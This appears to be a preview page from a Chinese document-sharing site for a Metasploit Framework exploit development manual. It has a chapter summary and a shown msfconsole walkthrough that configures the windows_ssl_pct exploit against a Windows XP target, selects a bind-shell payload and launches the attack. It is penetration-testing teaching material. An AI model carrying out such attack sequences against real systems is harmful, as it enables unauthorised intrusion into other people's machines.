Metasploit Framework Exploit开发全面指南（中文版）

需积分: 12 148 浏览量更新于2024-07-26 收藏 252KB PDF 举报

《Exploit_应用开发中文手册》是一本详细介绍Metasploit Framework下Exploit应用开发的实用指南，由作者gz1x编写，适用于Metasploit Framework的2.x和3.0版本。该手册针对初学者和高级开发者，特别关注于2.x与3.0版本的差异，因为虽然3.0版本采用Ruby语言，但为了兼容性，仍包含了对perl版本的解释。手册内容分为多个章节： 1. **前言**：介绍了手册的目的，强调了随着Metasploit Framework升级至3.0，虽然主要讲解3.0，但同时也涵盖了2.x版本的部分内容。作者明确指出，尽管新版本使用Ruby，但仍有必要了解旧版本的技术。 2. **概述**：对Exploit的概念和在渗透测试中的作用进行了概述，帮助读者理解Exploit在安全领域的应用。 3. **界面环境**：详细描述了Metasploit Framework的界面和环境配置，包括msfconsole的接口介绍和使用说明，让读者熟悉基本操作。 4. **模块介绍**：按功能分类，讲解了辅助模块（如payload选择和处理）、载荷模块（实现攻击效果）、空字段模块和编码模块的作用，这些都是Exploit开发的基础。 5. **Exploit开发**：深入到实际开发过程，涉及确定目标漏洞信息、利用注入器（如确定返回地址的位置、值以及可用空间）、构造shellcode（执行恶意代码）等步骤，并逐步引导读者编写Exploit。 6. **Exploit集成**：讲解如何将Exploit与Metasploit Framework集成，包括两种版本（2.x和3.0）的工作模式、模块分析以及必要的补充说明。 7. **鸣谢**：感谢相关贡献者和支持者，表示对社区的支持和合作的感激。 8. **参考书目**：列出其他相关参考资料，供读者进一步学习和研究。 9. **后续**：可能包含后续版本更新、未来发展趋势或资源推荐等内容。 10. **附录**：提供环境变量列表，帮助用户理解和设置环境，以及关于缓冲区溢出基础的补充知识，这是Exploit利用的重要原理。《Exploit_应用开发中文手册》是一份实用且全面的指南，旨在帮助读者掌握Metasploit Framework在实际攻击和防御场景中的Exploit开发技巧。无论是初学者还是经验丰富的渗透测试人员，都能从中找到有价值的信息和实践指导。

cd Change working directory

exit Exit the console

help Show the main console help

info Display detailed exploit or payload information

quit Exit the console

reload Reload exploits and payloads

save Save configuration to disk

setg Set a global environment variable

show Show available exploits and payloads

unsetg Remove a global environment variable

use Select an exploit by name

version Show console version

2) 一般，为了显示可用的exploit，你可以在msf下输入命令show exploits。Exploits中以

BSD开头的是针对BSD系统的，以Linx开头的是针对Linux系统的，以CMD和WIN开头

的是针对Windows系统。

Show命令的参数包括：exploits, encoders, payloads,nops,options等，你可以输入相关的

参数进行查看。

3) Show exploits之后，你可以选定相关的攻击程序，如果对列出的攻击程序有疑问，

可以输入info，方法如下：usage: info [type] <module name>。

比如：msf > info windows_ssl_pct

4) 如果想利用这个攻击程序，那么命令是：msf > use windows_ssl_pct 。其中有个小

技巧，你可以像在Linux shell中那样键入部分命令，然后使用TAB键自动补全。

5) 接下来你已经进入了windows_ssl_pct程序，它需要参数，你必须确定局部变量。用

show options可以查询需要设定哪些参数：

msf windows_ssl_pct > show options

Exploit Options

===============

Exploit: Name Default Description

-------- ------ ------- --------------------------------------

required RHOST The target address

required RPORT 443 The target port

optional PROTO raw The application protocol (raw or smtp)

其中required行是必须的参数设定，RHOST是目标系统的地址，RPORT是目标系统

的端口，默认值是443。Optional行是可选的参数。

6) 紧接着当然是设定这些值了，正如在环境那一节里说过的，用set命令可以设定局部

变量的值。类似这样：

msf windows_ssl_pct > set RHOST 192.168.1.1 （请依照实际情况设定）

RHOST -> 192.168.1.1

对于有些攻击程序可能会出现其他选项，你可以用：

msf windows_ssl_pct > show advanced

显示这些参数，然后进行设定。

7) 特别地，有些漏洞攻击程序能够用 check 来检查参数设定情况以及目标系统是否可

以攻击。

8) 参数设定完毕后，你需要用 show targets 来确定 exploit 支持的操作系统类型：

msf windows_ssl_pct > show targets

Supported Exploit Targets

=========================

0 Windows 2000 SP4

1 Windows 2000 SP3

2 Windows 2000 SP2

3 Windows 2000 SP1

4 Windows 2000 SP0

5 Windows XP SP0

6 Windows XP SP1

7 Debugging Target

同样你需要用 set 命令来设定参数：

msf windows_ssl_pct > set target 5

target -> 5

9) 然后必须为将要对目标主机起作用的 exploit 选择一个 payload，类似于在目标机器

上运行而获得权限的核心代码，shellcode 也属于这个范畴。

运行 show payloads 命令后，MSF 显示出与 exploit 兼容的 payload 列表。

msf windows_ssl_pct > show payloads

Metasploit Framework Usable Payloads

====================================

win32_adduser Windows Execute net user /ADD

win32_bind Windows Bind Shell

win32_bind_dllinject Windows Bind DLL Inject

win32_bind_meterpreter Windows Bind Meterpreter DLL Inject

win32_bind_stg Windows Staged Bind Shell

win32_bind_stg_upexec Windows Staged Bind Upload/Execute

win32_bind_vncinject Windows Bind VNC Server DLL Inject

win32_downloadexec Windows Executable Download and Execute

win32_exec Windows Execute Command

…..

a.使用 set PAYLOAD win32_bind 指令，能返回一个 shell 的 payload 就被加入到了 exploit

中。

b.如果对 payloads 有疑问，可以采用 info 命令进行查询；另外 show advanced 命令也是

可用的，检查是不是有高级的参数说明或者选项存在。

c.在加入 payload 后，必须对一些附加的选项作设定。使用 show options 命令查看,然后

用 set 进行相关的设定。

d.设置完毕后，你可以输入 save 命令将当前的配置存入 config，方便日后调用。

10) 最后的步骤就是在 msf下输入 exploit 进行攻击了。MSF将 payload 的连接处理的很好，

你可以不用 netcat 进行额外的连接操作。

msf windows_ssl_pct(win32_bind) > exploit

剩余30页未读，继续阅读

yihuicsxz

粉丝: 0
资源: 1

Metasploit Framework Exploit开发全面指南（中文版）

ATT&CK手册(修改版)

Metasploit框架Exploit开发中文手册

Metasploit Framework Exploit开发中文指南

awesome-exploit-development:精选资源清单（书籍，教程，课程，工具和易受攻击的应用程序），用于学习利用漏洞利用开发

世界著名的xda论坛的android黑客手册

drozer用户手册-drozer Users' Guide-2.3.4

sieve.apk（drozer测试应用程序）

Metasploit Framework 3.0入门与Exploit开发详解

Metasploit Framework 3.0：Exploit开发与集成指南

Metasploit Framework Exploit开发指南：从入门到实战

最新资源